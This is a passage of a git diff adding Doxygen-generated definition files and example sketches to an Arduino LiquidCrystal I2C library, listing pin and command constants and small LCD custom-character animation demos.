<<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +false +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '194'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1af2aac35d9a8ab7a2c87672f2c7cbbafb'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'value'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +boolean +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'noLatch'; + func-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +false +_EnD_oF_dEf_TeXt_; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '202'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract one wire shift out + @discussion protocol needs initialisation (fio_shiftOut1_init) + @param pin[in] digital pin + @param value[in] value to shift out, last byte is ignored and always shifted out LOW +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1a2d0e4495eb12504255bbd3f82405b17b'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_register +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Register'; + }; /* func-mem-param--param */ + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +fio_bit +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'shift1Bit'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '210'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param shift1Register[in] pins register + @param shift1Bit[in] pins bit +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_fast_i_o_8h_1ae4b2e099f8ade9ee674d1565669e870a'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'fio_shiftOut1_init'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'pin'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + func-mem-desc-line = '217'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract initializes one wire shift out protocol + @discussion Puts pin to HIGH state and delays until Capacitors are charged. + @param pin[in] digital pin +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/FastIO.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_i2_c_i_o_8cpp'; + file-name = 'I2CIO.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_i2_c_i_o_8h'; + file-name = 'I2CIO.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_i2_c_i_o_8h_1a218dbde2f6fda8c5825e25da10864c71'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = '_I2CIO_VERSION'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +"1.0.0" +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + define-mem-desc-line = '32'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8cpp'; + file-name = 'LCD.cpp'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_l_c_d_8h'; + file-name = 'LCD.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a0f50ae3b4bdb42dd5ad74b2c604a7515'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'BACKLIGHT_OFF'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '155'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Backlight off constant declaration + @discussion Used in combination with the setBacklight to swith off the + LCD backlight. @set setBacklight +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aa5bad1c51f5fac029f3deacfef48c54b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'BACKLIGHT_ON'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +255 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '163'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Backlight on constant declaration + @discussion Used in combination with the setBacklight to swith on the + LCD backlight. @set setBacklight +_EnD_oF_dEf_TeXt_; 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+ define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_RETURNHOME'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x02 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '93'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1aae6ea856879c11dee58493184582a52f'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_SETCGRAMADDR'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x40 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '98'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_l_c_d_8h_1a15008b832807a208d9d88c74e6751ebf'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_SETDDRAMADDR'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + define-mem-desc-line = '99'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + enum = { + enum-member = { + enum-mem-kind = 'enum'; + enum-mem-id = '_l_c_d_8h_1aeeef728bf4726268aa5e99391a1502bc'; + enum-mem-virt = normal; + enum-mem-prot = public; + enum-mem-name = 't_backlighPol'; + enum-mem-enum = { enum-name = POSITIVE; }; + enum-mem-enum = { enum-name = NEGATIVE; }; + enum-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + enum-mem-desc-line = '171'; + enum-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + enum-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* enum-member */ + }; + func = { + func-member = { + func-mem-kind = 'function'; + func-mem-id = '_l_c_d_8h_1a6eac41e4be58d7736ac0c19de225c0dc'; + func-mem-virt = normal; + func-mem-prot = public; + func-mem-type = <<_EnD_oF_dEf_TeXt_ +static void +_EnD_oF_dEf_TeXt_; + func-mem-name = 'waitUsec'; + func-mem-param = { + func-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint16_t +_EnD_oF_dEf_TeXt_; + func-mem-param-declname = 'uSec'; + }; /* func-mem-param--param */ + func-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + func-mem-desc-line = '76'; + func-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + func-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Enables disables fast waits for write operations for LCD + @discussion If defined, the library will avoid doing un-necessary waits. + this can be done, because the time taken by Arduino's slow digitalWrite + operations. If fast digitalIO operations, comment this line out or undefine + the mode. + + + @function + @abstract waits for a given time in microseconds (compilation dependent). + @discussion Waits for a given time defined in microseconds depending on + the FAST_MODE define. If the FAST_MODE is defined the call will return + inmediatelly. + @param uSec[in] time in microseconds. + @result None +_EnD_oF_dEf_TeXt_; + }; /* func-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal_8cpp'; + file-name = 'LiquidCrystal.cpp'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a31e1c14e8c2845dec3301f0ebd36b43c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_4BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '45'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a57d84af8cf61ceee4eb91db77889f071'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_8BIT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '46'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8cpp_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0xFF +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal_8h'; + file-name = 'LiquidCrystal.h'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal_8h_1adebff0f00a59c9f9863bc196938d5726'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'EXEC_TIME'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +37 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + define-mem-desc-line = '42'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Command execution time on the LCD. + @discussion This defines how long a command takes to execute by the LCD. + The time is expressed in micro-seconds. +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c_8cpp'; + file-name = 'LiquidCrystal_I2C.cpp'; + define = { + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a3d9bb178282c3cb69740c94ba1e48fed'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D4'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '88'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a2ddd4183d444d6d128cbdbd6269e4e0c'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D5'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +1 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'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a2ba78f059a7ebebc95e7beef690e88d6'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'D7'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +3 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '91'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a22e6626f2c98ed902f8ded47f6438c05'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'EN'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +6 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '66'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1ac059d24dfe9c1e1f7c07cb7869a1833b'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_BACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0xFF +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '55'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1a65fa786d6e31fe8b1aa51784a9736581'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'LCD_NOBACKLIGHT'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x00 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '48'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract LCD_NOBACKLIGHT + @discussion NO BACKLIGHT MASK +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1af8903d8eea3868940c60af887473b152'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RS'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +4 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '80'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___i2_c_8cpp_1afc4ded33ac0ca43defcce639e965748a'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'RW'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +5 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + define-mem-desc-line = '73'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + }; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c_8h'; + file-name = 'LiquidCrystal_I2C.h'; + file-full-name = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.h'; + file-first-line = '1'; + file-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + file-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* file */ +file = { + file-id = '_liquid_crystal___i2_c___by_vac_8cpp'; + file-name = 'LiquidCrystal_I2C_ByVac.cpp'; + file-full-name = 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define-mem-id = '_liquid_crystal___s_r1_w_8h_1a6875204445378ad8d8a8ded846cbcbaa'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_EN_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x80 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + define-mem-desc-line = '291'; + define-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + define-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* define-member */ + define-member = { + define-mem-kind = 'define'; + define-mem-id = '_liquid_crystal___s_r1_w_8h_1a874628609b122ed01ccd5e39411f86de'; + define-mem-virt = normal; + define-mem-prot = public; + define-mem-name = 'SR1W_RS_MASK'; + define-mem-initializer = <<_EnD_oF_dEf_TeXt_ +0x40 +_EnD_oF_dEf_TeXt_; + define-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR1W.h'; + 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a/libraries/NewliquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde b/libraries/NewliquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde new file mode 100644 index 0000000..0c06514 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde @@ -0,0 +1,78 @@ +#include +#include + + +#define CONTRAST_PIN 9 +#define BACKLIGHT_PIN 7 +#define CONTRAST 110 +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGH_PIN, POSITIVE ); + + +// Creat a set of new characters +byte smiley[8] = { + 0b00000, + 0b00000, + 0b01010, + 0b00000, + 0b00000, + 0b10001, + 0b01110, + 0b00000 +}; + +byte armsUp[8] = { + 0b00100, + 0b01010, + 0b00100, + 0b10101, + 0b01110, + 0b00100, + 0b00100, + 0b01010 +}; + +byte frownie[8] = { + 0b00000, + 0b00000, + 0b01010, + 0b00000, + 0b00000, + 0b00000, + 0b01110, + 0b10001 +}; + +void setup() +{ + Serial.begin ( 57600 ); + + // Switch on the backlight and LCD contrast levels + pinMode(CONTRAST_PIN, OUTPUT); + analogWrite ( CONTRAST_PIN, CONTRAST ); + + //lcd.setBacklightPin ( BACKLIGHT_PIN, POSITIVE ); + //lcd.setBacklight ( HIGH ); + lcd.backlight(); + + lcd.begin(16,2); // initialize the lcd + + lcd.createChar (0, smiley); // load character to the LCD + lcd.createChar (1, armsUp); // load character to the LCD + lcd.createChar (2, frownie); // load character to the LCD + + lcd.home (); // go home + lcd.print("Hello, ARDUINO "); + lcd.setCursor ( 0, 1 ); // go to the next line + lcd.print (" FORUM - fm "); +} + +void loop() +{ + // Do a little animation by writing to the same location + lcd.setCursor ( 14, 1 ); + lcd.print (char(2)); + delay (200); + lcd.setCursor ( 14, 1 ); + lcd.print ( char(0)); + delay (200); +} diff --git a/libraries/NewliquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde b/libraries/NewliquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde new file mode 100644 index 0000000..1112e78 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde @@ -0,0 +1,36 @@ +#include +#include + +LiquidCrystal_SR lcd(8,7,TWO_WIRE); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin + +// Creat a set of new characters +byte armsUp[8] = {0b00100,0b01010,0b00100,0b10101,0b01110,0b00100,0b00100,0b01010}; +byte armsDown[8] = {0b00100,0b01010,0b00100,0b00100,0b01110,0b10101,0b00100,0b01010}; + +void setup(){ + + lcd.begin(16,2); // initialize the lcd + + lcd.createChar (0, armsUp); // load character to the LCD + lcd.createChar (1, armsDown); // load character to the LCD + + lcd.home (); // go home + lcd.print("LiquidCrystal_SR"); +} + +void loop(){ + // Do a little animation + for(int i = 0; i <= 15; i++) showHappyGuy(i); + for(int i = 15; i >= 0; i--) showHappyGuy(i); +} + +void showHappyGuy(int pos){ + lcd.setCursor ( pos, 1 ); // go to position + lcd.print(char(random(0,2))); // show one of the two custom characters + delay(150); // wait so it can be seen + lcd.setCursor ( pos, 1 ); // go to position again + lcd.print(" "); // delete character +} \ No newline at end of file diff --git a/libraries/NewliquidCrystal/examples/HelloWorld_byVac/HelloWorld_byVac.ino b/libraries/NewliquidCrystal/examples/HelloWorld_byVac/HelloWorld_byVac.ino new file mode 100644 index 0000000..0a4d17d --- /dev/null +++ b/libraries/NewliquidCrystal/examples/HelloWorld_byVac/HelloWorld_byVac.ino @@ -0,0 +1,72 @@ +//#include +//LiquidCrystal lcd(4, 7, 8, 9, 10, 11, 12); + +#include +//#include +//LiquidCrystal_I2C_ByVac lcd(0x21); + +//#include +//LiquidCrystal_I2C lcd_1(0x27,2,1,0,4,5,6,7,backlight_pin,POSITIVE); // DF Robots + +//#include +//LiquidCrystal_SR lcd(14,15,4); + +#include +//LiquidCrystal lcd(4, 7, 8, 9, 10, 11, 12); +LiquidCrystal lcd(8, 9, 4, 5, 6, 7); // LCD Shield + +uint8_t bell[8] = {0x4,0xe,0xe,0xe,0x1f,0x0,0x4}; +uint8_t note[8] = {0x2,0x3,0x2,0xe,0x1e,0xc,0x0}; +uint8_t clock[8] = 